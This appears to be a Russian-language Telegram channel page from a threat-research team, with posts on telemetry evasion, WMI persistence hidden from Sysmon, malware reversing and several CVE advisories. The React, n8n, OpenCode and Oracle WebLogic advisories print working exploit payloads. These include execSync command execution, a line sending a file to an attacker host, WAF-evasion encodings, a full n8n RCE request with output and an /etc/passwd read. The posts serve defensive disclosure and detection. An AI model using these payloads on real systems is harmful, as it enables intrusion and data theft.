Четыре луча – Telegram
Четыре луча
3.9K subscribers
86 photos
99 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Download Telegram
Evading Detection to Ring0

Задумывались ли вы о том, как работают инструменты сбора телеметрии, которые вы используете у себя в инфраструктуре? Знаете ли их потенциальные слабые места?

Злоумышленники постоянно ищут и успешно находят способы обхода различных защитных решений, а также стараются вести себя в скомпрометированной инфраструктуре как можно тише. Если вы не будете хотя бы иногда думать о первых двух вопросах, то очень вероятно, что злоумышленники смогут обмануть защиту.

Мы подумали, разреверсили EventLog, Sysmon и ядро операционной системы Windows, а по итогам исследования выпустили статью, в которой рассказываем:
😬 как работает EventLog от момента генерации события до его получения в журналах;
😬 как работает широко известный Sysmon;
😬 что такое ETW и с чем его едят;
😬 как можно собирать телеметрию о WinAPI-вызовах;
😬 какие есть способы обхода перечисленных средств сбора телеметрии.

Также о нашем исследовании мы рассказывали на SOC Forum 2025. Ищите запись на Rutube.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥189🎉6🌚1👾1
Критическая уязвимость CVE-2025-55182

Это RCE уязвимость в RCE в React Server Components. Основана на небезопасной десериализации и серверном prototype pollution в протоколе Flight. Она позволяет неаутентифицированному удалённому атакующему выполнить произвольный JS-код.

Уязвимые версии: React 19.0.0, React 19.1.0, React 19.1.1, React 19.2.0 пакетов react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack.

😬 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-502


😬 Кратко об уязвимости
Из-за ошибки в десериализации протокола Flight злоумышленник может выполнить произвольный JavaScript-код на сервере через прототипное загрязнение. При обработке фрагментов и попытке разрешить ссылки React не проверял, существует ли запрошенный ключ в самом объекте. Это и приводило к загрязнению прототипа.

Flight-протокол допускает ссылки вида $1:key1:key2:...:keyN:
$1:__proto__:constructor:constructor


Протокол разбирает это так: взять фрагмент 1 -> получить поле __proto__ -> получить constructor -> опять получить constructor. Если нет проверки «является ли поле собственным свойством объекта», интерпретатор переходил в прототип, затем в Function constructor и в итоге получал сам конструктор функции.

😬 Примеры
Cтандартная нагрузка в большинстве эксплойтов:
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "process.mainModule.require('child_process').execSync('CODE');", "_formData": {"get": "$1:constructor:constructor"}}}


😬 Какие еще вариации полезных нагрузок есть и к каким последствиям может привести уязвимость

RCE
process.mainModule.require('child_process').execSync('CODE'); 

Вызов CODE через execSync — синхронную функцию, которая выполняет команду ОС. Инъекция происходит вслепую.

process.mainModule.require('child_process').execSync('CODE').toString().trim();;throw Object.assign(newError('NEXT_REDIRECT'),{digest: NEXT_REDIRECT;push;/login?a=${res};307;});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}

Аналог вышестоящей команды, но с выводом результата команды в заголовке x-action-redirect.

process.mainModule.require('child_process').spawnSync('CODE', { shell: true, stdio: 'ignore' })

Вызов CODE через spawnSync — синхронную версию функции, которая позволяет запускать внешние процессы напрямую. Инъекция происходит вслепую.

SSRF
process.mainModule.require('https').request({hostname:HOST',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('FILE'));

Выполнение SSRF через require('https'). HOST — сервер под контролем злоумышленника, FILE — содержимое файла, которое будет передано на HOST.

Bypass WAF/IDS
Для обхода сигнатур WAF/IDS злоумышленник может использовать Unicode:
:__proto__:then  -> \u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f\u003a\u0074\u0068\u0065\u006e


Или строку CODE могут закодировать в base64 так:
execSync(Buffer.from('Q09ERQ==','base64').toString())


Так можно изменить с помощью String.fromCharCode — встроенной JavaScript-функцией, которая создаёт строку из набора числовых кодов символов.
process.mainModule.require('child_process').execSync('CODE');  ->  Function('return '+String.fromCharCode(112,114,111,99,101,115,115))().mainModule.require('child_process').execSync('CODE’)


Техники можно комбинировать, что усложняет обнаружение.
 \u0046\u0075\u006e\u0063\u0074\u0069\u006f\u006e('return '+String.fromCharCode(112,114,111,99,101,115,115))...


😬 Итог
Обнаружить классическими сигнатурами сложнее из-за вариативности нагрузок и методов обфускации, но лучше иметь какую-то защиту.

Рекомендуем написать правило на WAF/IDS, которое будет блокировать запросы вида метод POST, а также заголовки next-action или x-rsc-action. В том числе если тело запроса содержит ссылки $B, $@, $Q или их Unicode представления и опасные JS-методы или функции, например child_process, String.fromCharCode, _proto_, execSync ,spawnSync, _chunks, _formData, _response, toString. Нужно регистронезависимое правило.

Но самый лучший вид защиты — обновление уязвимых пакетов до новых версий.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥17733
WMI Persist, который Sysmon не видит

В Windows есть довольно старая техника закрепления через подписчики WMI. Суть в том, что злоумышленник обращается к классам пространства имен ROOT\Subnoscription (Скриншот 1) и создает три сущности:

1️⃣ EventFilter — фильтр, который по указанной логике отрабатывает на события, например запуск процесса с характерными параметрами.

2️⃣ EventConsumer — сущность, которая описывает, что произойдет, когда срабатывает фильтр.

3️⃣ FilterConsumerBinding — отвечает за создание связи между определенными EventFilter и EventConsumer.

Таким образом, злоумышленник в ответ на определенные события в системе (например, SystemStartup) может прописать запуск своего пэйлоада и закрепиться. У Sysmon есть отдельные события на эту активность:

🫡 EventId 19 — WmiEventFilter activity detected, срабатывает на регистрацию WMI-фильтра.

🫡 EventId 20 — WmiEventConsumer activity detected, срабатывает на регистрацию WMI Consumer.

🫡 EventId 21 — WmiEventConsumerToFilter activity detected срабатывает на регистрацию связи между WMI Consumer и WMI Filter.

Этот тип закрепления видно, к примеру, в утилите Autoruns (скриншот 2).

Но у принципа сбора WMI-событий в Sysmon существует недостаток, который заключается в том, что события собираются только из пространства имен ROOT\Subnoscription.

Дело в том, что в пространстве имен ROOT\Default есть аналогичные классы (скриншот 3), которые можно использовать для этого типа закрепления.

📍 Если Filter, Consumer и Binding будут созданы через это пространство имен, то Sysmon не сгенерирует никаких событий, а закрепление пройдет успешно.

Если хотите более подробно ознакомиться с тем как Sysmon собирает WMI-события, читайте в нашей статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥21👏5💅52🤔2👍1🤩1
Rust: как бороться с ночным кошмаром реверс-инженеров 👀

Часто при исследовании вредоносов на Rust создают сигнатуры для используемых крейтов. Это помогает распознать библиотечные функции внутри исполняемого файла. Но если не знать параметров оптимизации, с которыми был скомпилирован вредонос, сигнатуры могут получиться некачественными и тогда не удастся распознать большое количество функций.

Мы разработали и выложили в открытый доступ скрипт, который может подобрать наиболее подходящие параметры оптимизации для того, чтобы создавать более эффективные сигнатуры. Как его можно применить на практике и какой еще эффективный метод исследования Rust-вредоносов есть, читайте в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1692🤓2
Четыре луча
Критическая уязвимость CVE-2025-55182 Это RCE уязвимость в RCE в React Server Components. Основана на небезопасной десериализации и серверном prototype pollution в протоколе Flight. Она позволяет неаутентифицированному удалённому атакующему выполнить произвольный…
Дополнительно к CVE-2025-55182

Стало известно еще о двух уязвимостях в React Server Components:

1. CVE-2025-55184 (CVE-2025-67779) — угроза типа «отказ в обслуживании». Уязвимы версии до 19.0.3, 19.1.4 и 19.2.3.
2. CVE-2025–55183 — угроза раскрытия исходного кода.

🫡 Метрики
CVE-2025–55184
Base Score: 7,5
CVE-2025–55183
Base Score: 5,3


🫡 Об уязвимости CVE-2025–55183
Уязвимость возникает при десериализации вредоносного запроса, где сервер возвращает исходный код вместо ожидаемого ответа. Для эксплуатации уязвимости необходимо иметь серверную функцию, которая явно или неявно предоставляет строковый аргумент.

🫡 Об уязвимости CVE-2025–55184
Уязвимость возникает при десериализации вредоносного запроса, который вызывает бесконечный цикл, что в свою очередь ведет к большому потреблению ресурсов сервера.

🫡 Пример CVE-2025–55183
Content-Disposition: form-data; name="0"
["$F1"]
------SourceLeak
Content-Disposition: form-data; name="1"
{"id":"40253f19fa8f907f9b5ea79d831ed8ce7f3cb46e15","bound»: null}
------SourceLeak—


🫡 Пример CVE-2025–55184
Content-Disposition: form-data; name="0"; filename=""

"$@0"
--36bd33c14b4a09f0b880ae771a9a66af--


🫡 Как защититься
Правило может выглядеть так: POST-запрос плюс заголовки next-action или x-rsc-action плюс наличие в теле маркеров $B, $@, $Q, $F либо их Unicode-представления.
Please open Telegram to view this post
VIEW IN TELEGRAM
12🔥9👀52
Критическая уязвимость в n8n CVE-2025–68613
Дополнительно — лабораторная работа

CVE-2025–68613 — уязвимость выполнения удаленного кода у авторизированных пользователей в n8n. Уязвимы версии меньше 1.120.4, 1.121.1 и 1.122.0. FOFA сообщает более чем о полумиллионах доступных инстансов n8n по всему миру, в том числе и в России.

🫡 Метрики
Base score: 9.9 critical
CWE: CWE-913


🫡 Об уязвимости
В n8n существует возможность установки set-ноды, в значении которой можно передать Java Script–код, что приводит к RCE. В ручном тестировании атака выглядит так.

1) Создают workflow.
2) Выбирают Set-ноду.
3) Выбирают тип данных String.
4) Устанавливают value-значение в формате {{CODE}}.
5) execute step.

Например, value может выглядеть так:
{{ (function() { var require = this.process.mainModule.require; var { execSync } = require("child_process"); return execSync("id", { encoding: "utf8" }).trim(); })() }}


Смягчающий фактор: для атаки нужно авторизироваться.

🫡 Пример атаки

Запрос:
{"workflowData":{"name":"cmd","nodes":[{"parameters":{},"type":"n8n-nodes-base.manualTrigger","typeVersion":1,"position":[0,0],"id":"8609d8a2-6b0e-4029-acfc-f9fd0c8e2d37","name":"When clicking ‘Execute workflow’"},{"parameters":{"assignments":{"assignments":[{"id":"e576a768-68f6-450c-99d5-089122627914","name":"","value":"={{ (function() { var require = this.process.mainModule.require; var { execSync } = require(\"child_process\"); return execSync(\"id\", { encoding: \"utf8\" }).trim(); })() }}","type":"string"}]},"options":{}},"type":"n8n-nodes-base.set","typeVersion":3.4,"position":[208,0],"id":"e385a6e4-f0dc-4b52-b5c1-5b594f49e56e","name":"Edit Fields"}],"pinData":{},"connections":{"When clicking ‘Execute workflow’":{"main":[[{"node":"Edit Fields","type":"main","index":0}]]}},"active":false,"settings":{},"tags":[],"versionId":"9ca41c70-8dc0-4fde-9e7c-6b5f99040518","meta":null,"id":"IlnKYKYHiRWvL7Gp"},"runData":{},"startNodes":[],"destinationNode":"Edit Fields"}


Часть ответа:
"data":"[{\"startData\":\"1\",\"resultData\":\"2\",\"executionData\":\"3\"},{\"destinationNode\":\"4\",\"runNodeFilter\":\"5\"},{\"runData\":\"6\",\"pinData\":\"7\",\"lastNodeExecuted\":\"4\"},{\"contextData\":\"8\",\"nodeExecutionStack\":\"9\",\"metadata\":\"10\",\"waitingExecution\":\"11\",\"waitingExecutionSource\":\"12\"},\"Edit Fields\",[\"13\",\"4\"],{\"When clicking ‘Execute workflow’\":\"14\",\"Edit Fields\":\"15\"},{},{},[],{},{},{},\"When clicking ‘Execute workflow’\",[\"16\"],[\"17\"],{\"startTime\":1766556431228,\"executionIndex\":0,\"source\":\"18\",\"hints\":\"19\",\"executionTime\":1,\"executionStatus\":\"20\",\"data\":\"21\"},{\"startTime\":1766558489574,\"executionIndex\":1,\"source\":\"22\",\"hints\":\"23\",\"executionTime\":4,\"executionStatus\":\"20\",\"data\":\"24\"},[],[],\"success\",{\"main\":\"25\"},[\"26\"],[],{\"main\":\"27\"},[\"28\"],{\"previousNode\":\"13\",\"previousNodeOutput\":0,\"previousNodeRun\":0},[\"29\"],[\"30\"],[\"31\"],{\"json\":\"32\",\"pairedItem\":\"33\"},{\"json\":\"34\",\"pairedItem\":\"35\"},{},{\"item\":0},{\"\":\"36\"},{\"item\":0},\"uid=1000(node) gid=1000(node) groups=1000(node)\"]


🫡 Лабораторная
В комментариях прикрепили docker-файл, который необходимо скачать. Далее выполнить docker-compose up. После установки в консоли вы увидите адрес и порт n8n-сервиса, на него необходимо перейти и закончить настройку. Далее необходимо выполнить все шаги выше.

🫡 Как защищаться
Блокировать POST-запросы на /rest/workflows, где значение переменой value ноды set передается строка вида {{CODE}}. CODE можно заменить на опасные JS-функции, например, require, child_process, execSync, toString и другие.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥193🤔31
Вскрываем bincrypter

В атаках на *nix нам периодически попадаются бинари, которые обфусцированы с помощью bincrypter — не самого сложного, но практичного инструмента. Он способен упаковывать исполняемые файлы и shell-скрипты в обфусцированный bash-скрипт, прячет логику расшифровки среди непечатного мусора, динамически собирает eval-конструкции и использует AES-256-CBC вместе с gzip. В результате сигнатурный и поверхностный статический анализ заметно усложняются.

👍 В новой статье мы подробно разбираем архитектуру bincrypter: как формируются секции shebang/init/payload, зачем нужен offset R, как обфусцируются base64-строки и каким образом выполняется финальная расшифровка нагрузки. Отдельно показываем, как извлекать ключевые переменные, чистить мусор и восстанавливать исходный исполняемый файл.

Также в статье есть YARA-правило для детекта bincrypter-обфусцированных файлов, а также наш новый инструмент bindecrypter, который автоматизирует весь процесс деобфускации. Если вы сталкиваетесь с *nix-имплантами, материал поможет быстрее пройти путь от обфусцированного скрипта до исходного бинаря.

И да, с наступающими! ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2095👍4🤯1
ETW для детектирования сложных атак

Если уже не хочется смотреть на оливье и новогодние фильмы, предлагаем почитать о ETW-провайдерах!

Использовали ли вы когда-нибудь ETW-провайдеры как источник телеметрии для детектирования атак? Мы выделили наиболее интересные ETW-провайдеры из множества доступных в Windows.

😬 Microsoft-Windows-DotNETRuntime — провайдер, который отслеживает различные события среды CLR.

😬 Microsoft-Windows-RPC — провайдер, который позволяет выявлять, какой конкретно RPC-метод пытались вызвать на эндпоинте.

😬 Microsoft-Windows-Threat-Intelligence — провайдер режима ядра, с помощью которого можно строить детекты на различные сложные методы инъекций: Process Hollowing, Early Bird APC Injection и так далее.

В статье можете прочитать больше про эти ETW-провайдеры и узнать о примерах атак, которые можно детектировать с их помощью (ToolShell, .NET Assembly Injection, Atexec-pro).

Бонус: также в статье мы поревёрсили ядро Windows и разобрали принцип работы провайдера Microsoft-Windows-Threat-Intelligence — от инициализации провайдера до примера генерации события выделения виртуальной памяти (Скриншот 1) с правами на исполнение. А еще описали способ обхода ETW-телеметрии — технику ETW Patching (Скриншот 2).
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥115👍2😁2💅2
Начнем год с Ni8mare и лабораторной 😈

Мы уже писали о n8n в прошлом году. Но пока отдыхали, в сети появился новый эксплойт на уязвимость — CVE-2026-21858. Она связана с путаницей типов, которая позволяет переопределить внутреннее состояние и может привести к чтению или исполнению произвольных файлов.

🫡 Подобнее об уязвимости
При HTTP-запросе n8n смотрит заголовок Content-Type и решает, как распарсить тело запроса.

— Если ожидается multipart/form-data, то n8n должен вызывать безопасный парсер загрузки файлов.

— Вообще путаница типов возникает, когда злоумышленник подменяет MIME type на application/json или что-то другое. И из-за ошибки Content-Type Confusion вызывается обычный парсер тела (parseBody()), который присваивает данные напрямую в req.body без проверки и защиты. То есть вызовется обычный парсер тела запроса вместо парсера загрузки файла. Это позволяет читать произвольный файл в функции prepareFormReturnItem для webhook через:
returnItem.binary![fileCount++] = await context.nodeHelpers.copyBinaryFile( file.filepath, file.originalFilename, file.mimetype );


🫡 Пример json
{
"files": {
"test": {
"filepath": "/etc/passwd"
}
}
}


А вот и лабораторная
.
1️⃣ Скачайте в комментариях файл docker-compose, который необходимо запустить через docker-compose up.
2️⃣ Настройте Workflow, как показано на скриншоте 1.
3️⃣ Отправьте произвольный файл.
4️⃣ Перехватите запрос, например в Burp Suite.
5️⃣ Измените его тип и содержимое.
6️⃣ Отправьте измененный запрос.

Уязвимость может быть использована как часть RCE-цепочки.
1) Получите данные авторизации через чтение фалов CVE-2026–21858.
2) Выполните удаленный код через CVE-2025–68613.

🫡 Как защищаться
1) В настройках Workflow настроить авторизацию для формы.
2) Блокировать запросы к форме загрузки файлов с типом application/json.
3) Обновиться.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
8👍7🔥4🤔1
Уязвимость CVE-2026–22812 в OpenCode

CVE-2026-22812 — уязвимость удаленного выполнения кода в OpenCode.

🫡 Метрики
Base Score: 8.8 HIGH
CWE: CWE – 306, CWE – 749, CWE – 942


🫡 Подробнее об уязвимости
OpenCode автоматически запускает локальный HTTP-сервер без какой-либо аутентификации. Сервер позволяет отправлять запросы, которые исполняют shell-команды от имени пользователя, запустившем OpenCode.

Из-за слишком разрешительных настроек CORS-сервер может быть доступен даже с веб-страницы — это расширяет вектор атаки далеко за пределы локальных приложений.

🫡 Уязвимые конечные точки
/session/{ID}/shell — выполнение shell-команд;
/pty — создание интерактивных терминальных сессий;
/file/content — чтение произвольного файла.

🫡 Цепочка атаки
Отправка POST-запроса на /session — получение сессии. Пример ответа:
{"id":"ses_42b13a22bffech8bpcpa6bpZO4","version":"1.0.215","projectID":"global","directory":"/workspaces","noscript":"New session - 2026-01-19T06:23:38.964Z","time":{"created":1768803818964,"updated":1768803818964}}


Далее сессия, в нашем случае ses_42b13a22bffech8bpcpa6bpZO4, используется для shell-команд:
POST /session/ses_42b13a22bffech8bpcpa6bpZO4/shell HTTP/1.1
Host: localhost:4096
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 41
{"agent": "build", "command": "id"}


🫡 Как защититься
1) Обновиться.
2) Если быстрое обновление невозможно, то блокировать запросы на уязвимые конечные точки из внешних систем, например, правилами WAF/IDS.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7
ShadowRelay — модульный бэкдор в госсекторе

В 2025 году мы расследовали атаку на организацию из госсектора и всего в одной инфраструктуре нашли много интересного от разных группировок:

🫡 оригинальный ShadowPad;
🫡 Shadowpad Light (Erudite Mogwai);
🫡 Donnect (Obstinate Mogwai);
🫡 Mythic Agent (GOFFEE).

Но среди этого знакомого зоопарка было и нечто новенькое.

Модульный бэкдор позволяет атакующим скрытно подгружать плагины, которые реализуют необходимую функциональность в конкретной атаке. Также бэкдор может поддерживать связь с другими имплантами, которые, например, не имеют подключения к интернету.


Бэкдор появился в атакованной инфраструктуре приблизительно с группировкой Obstinate Mogwai. Для надежной атрибуции этого маловато, поэтому личности операторов вредоноса пока под вопросом. А вот его устройство и механизмы действия мы разобрали в нашей новой статье.
Please open Telegram to view this post
VIEW IN TELEGRAM
👌8👍63
Критическая уязвимость в Oracle-Fusion-Middleware CVE-2026-21962

CVE-2026-21962 — уязвимость удаленного выполнения кода (RCE) в Oracle Fusion Middleware, которые используют Oracle HTTP Server и плагин WebLogic Server Proxy для переадресации веб-трафика на серверы бэкенд-приложений. Уязвимость затрагивает Oracle HTTP Server и плагин WebLogic Server Proxy для Apache HTTP Server и IIS в версиях 12.2.1.4.0, 14.1.1.0.0 и 14.1.2.0.0 (для IIS-версии плагина — только 12.2.1.4.0).

👍 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-284


👍 Сканирование и эксплуатация
Кроме сканеров уязвимых версий в публичном пространстве появляются скрипты с попытками эксплуатации. Вот что информативного можно выделить в этих эксплоитах.

Уязвимые конечные точки:
"/weblogic/",
"/wl_proxy/",
"/bea_wls_internal/",
"/_proxy/",
"/proxy/"


Специфические URL
:
/weblogic/..;/bea_wls_internal/ProxyServlet


Заголовки
:
"WL-Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"Proxy-Client-IP": f"127.0.0.1;{encoded_payload}",
"X-Forwarded-For": f"127.0.0.1;{encoded_payload}",

encoded_payload — закодированная в base64 shell-команда.

Пример запроса:
GET /weblogic/weblogic/..;/bea_wls_internal/ProxyServlet HTTP/1.1
Host: localhost:7001
User-Agent: Mozilla/5.0 (compatible; Exploit/1.0)
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
WL-Proxy-Client-IP: 127.0.0.1;Y21kOmlk
X-Forwarded-For: 127.0.0.1;Y21kOmlk


👍 Как происходит сканирование
Отправляется запрос на {конечная точка}/weblogic/..;/bea_wls_internal/ProxyServlet. Если сервер отвечает статус-кодом 200, то запрос отправляется на эту же конечную точку с установленными заголовками.

👍 Как защититься
Для детектирования подобных сканеров можно написать правило на WAF/IDS , блокирующее GET/POST-запросы на уязвимые конечные точки, в URL которых передаются попытки выхода за пределы каталога ../ ..; а в заголовках — строка с кодировкой base64.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥73🤔3👌3